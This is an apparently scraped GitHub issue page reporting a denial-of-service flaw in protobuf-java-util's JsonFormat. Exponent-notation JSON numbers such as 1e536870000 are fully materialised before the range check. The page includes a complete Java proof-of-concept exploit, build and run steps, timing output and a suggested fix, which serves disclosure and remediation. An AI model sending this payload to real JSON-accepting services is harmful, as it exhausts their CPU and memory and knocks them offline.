protocolbuffers / protocolbuffers/protobuf

protobuf-java-util JsonFormat: Missing checks on BigDecimal JSON exponent consumes a large amount of memory

Open
#26,032 4 comments 1 reaction 1 assignee View on GitHub

@esrauchg is already working on this.

Since Feb 24, 2026.

java keep open
Dominant language
C++
Stars
72k
Forks
16.3k
Avg merge
1d 17h
Merged PRs (30d)
140

Description

Version: protobuf 30.2 (commit efa2ab20), Java JDK 21
Operating System: Ubuntu 25.04

Summary

A potential denial-of-service vulnerability exists in protobuf-java-util that allows an attacker to consume disproportional amounts of CPU time and memory when parsing unsigned integers via JsonFormat.java.
JsonFormat.parseUint64() (and similar functions) calls toBigIntegerExact() on attacker-controlled input, materializing the full 10^N integer before range-checking. Malicious inputs using scientific notation burn minutes of CPU and GBs of memory.

Vulnerability

parseUint32 and parseUint64 in JsonFormat.java convert JSON numbers to integers via new BigDecimal(str).toBigIntegerExact():

// JsonFormat.java:1814-1815
BigDecimal decimalValue = new BigDecimal(json.getAsString());  // O(1)
BigInteger value = decimalValue.toBigIntegerExact();           // O(N)

BigDecimal stores inputs like 1e536870000 as a compact pair (intVal=1, scale=-536870000) in O(1). However, toBigIntegerExact() materializes the full value: it calls BigInteger.TEN.pow(536870000), which runs repeated squaring to produce a 536-million-digit number. The range check against MAX_UINT64 runs after this computation completes. The same pattern appears in parseUint32 (JsonFormat.java:1795).

Four field types are affected: uint32, uint64, fixed32, fixed64. The fixed32/fixed64 types dispatch to parseUint32/parseUint64 respectively (JsonFormat.java:1991-1996).

Preconditions

Both public methods on JsonFormat.Parser (from protobuf-java-util) are affected:

  • JsonFormat.parser().merge(String json, Message.Builder builder)
  • JsonFormat.parser().merge(Reader json, Message.Builder builder)

The target message must have at least one uint32, uint64, fixed32, or fixed64 field. Binary protobuf parsing (Message.parseFrom(), gRPC) does not use JsonFormat and is unaffected.

Impact

A single 27-byte request ties up one thread for multiple minutes (depending on hardware) and allocates over 2.5 GB of heap memory. BigInteger.pow() does not check for thread interruption, so cancellation mechanisms are difficult to implement. The value is rejected by the range check only after the full materialization completes.

Services that accept JSON and parse it into protobuf messages via JsonFormat are targets (REST APIs, webhook handlers, API gateways with JSON-to-protobuf transcoding). Concurrent malicious requests could likely cause extended denial-of-service.
Several open-source projects are likely affected.

Proof of concept

Save the following code as BigDecimalExploit.java:

package exploit;

import com.google.protobuf.DescriptorProtos.DescriptorProto;
import com.google.protobuf.DescriptorProtos.FieldDescriptorProto;
import com.google.protobuf.DescriptorProtos.FileDescriptorProto;
import com.google.protobuf.Descriptors.Descriptor;
import com.google.protobuf.Descriptors.FileDescriptor;
import com.google.protobuf.DynamicMessage;
import com.google.protobuf.util.JsonFormat;

public class BigDecimalExploit {

    public static void main(String[] args) throws Exception {
        String exponent = args.length > 0 ? args[0] : "536870000";

        Descriptor descriptor = buildDescriptor();

        String payload = "{\"vulnerable\": 1e" + exponent + "}";

        System.out.println("Payload:      " + payload);
        System.out.println("Payload size: " + payload.length() + " bytes");

        Runtime rt = Runtime.getRuntime();
        rt.gc();
        long memBefore = rt.totalMemory() - rt.freeMemory();
        long startNs = System.nanoTime();

        try {
            DynamicMessage.Builder builder = DynamicMessage.newBuilder(descriptor);
            JsonFormat.parser().merge(payload, builder);
            long elapsedMs = (System.nanoTime() - startNs) / 1_000_000;
            long memDeltaMB = ((rt.totalMemory() - rt.freeMemory()) - memBefore) / (1024 * 1024);
            printResult(elapsedMs, memDeltaMB, payload.length(), null);
        } catch (Exception e) {
            long elapsedMs = (System.nanoTime() - startNs) / 1_000_000;
            long memDeltaMB = ((rt.totalMemory() - rt.freeMemory()) - memBefore) / (1024 * 1024);
            printResult(elapsedMs, memDeltaMB, payload.length(), e);
        }
    }

    private static Descriptor buildDescriptor() throws Exception {
        FileDescriptorProto fileProto = FileDescriptorProto.newBuilder()
                .setName("exploit.proto")
                .addMessageType(DescriptorProto.newBuilder()
                        .setName("Msg")
                        .addField(FieldDescriptorProto.newBuilder()
                                .setName("vulnerable")
                                .setNumber(1)
                                .setType(FieldDescriptorProto.Type.TYPE_UINT64)))
                .build();
        FileDescriptor fd = FileDescriptor.buildFrom(fileProto, new FileDescriptor[0]);
        return fd.findMessageTypeByName("Msg");
    }

    private static void printResult(long elapsedMs, long memDeltaMB, int payloadSize, Exception e) {
        System.out.println();
        if (e != null) {
            System.out.println("Exception:     " + e.getClass().getSimpleName());
            System.out.println("Message:       " + truncate(e.getMessage(), 120));
        } else {
            System.out.println("Parse completed.");
        }
        System.out.println();
        System.out.printf("Time elapsed:  %,d ms%n", elapsedMs);
        System.out.printf("Memory delta:  ~%d MB%n", memDeltaMB);
        System.out.printf("Amplification: %d bytes -> %,d ms CPU + ~%d MB RAM%n",
                payloadSize, elapsedMs, memDeltaMB);
    }

    private static String truncate(String s, int max) {
        if (s == null) return "<null>";
        return s.length() <= max ? s : s.substring(0, max) + "...";
    }
}

Build and run
cd protobuf
bazel build //java/core:core //java/util:util

mkdir -p exploit_out/exploit
cp BigDecimalExploit.java exploit_out/exploit/

GSON=$(find $(bazel info output_base)/external -name "gson*.jar" | head -1)
CP=bazel-bin/java/core/libcore.jar:bazel-bin/java/core/liblite_runtime_only.jar:bazel-bin/java/util/libutil.jar:$GSON
javac -cp "$CP" exploit_out/exploit/BigDecimalExploit.java

java -Xmx4g -cp "exploit_out:$CP" exploit.BigDecimalExploit
Expected output
Payload:      {"vulnerable": 1e536870000}
Payload size: 27 bytes

Exception:     InvalidProtocolBufferException
Message:       Out of range uint64 value: 1e536870000

Time elapsed:  653,001 ms
Memory delta:  ~2595 MB (post-computation; peak RSS during execution is higher)
Amplification: 27 bytes -> 653,001 ms CPU + ~2595 MB RAM

Suggested fix

Check the number of integer digits before calling toBigIntegerExact() (adapt the number for uint32 accordingly):

BigDecimal decimalValue = new BigDecimal(json.getAsString());
if (decimalValue.signum() < 0 || (long) decimalValue.precision() - decimalValue.scale() > 20) {
    throw new InvalidProtocolBufferException("Out of range uint64 value: " + json);
}
BigInteger value = decimalValue.toBigIntegerExact();

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.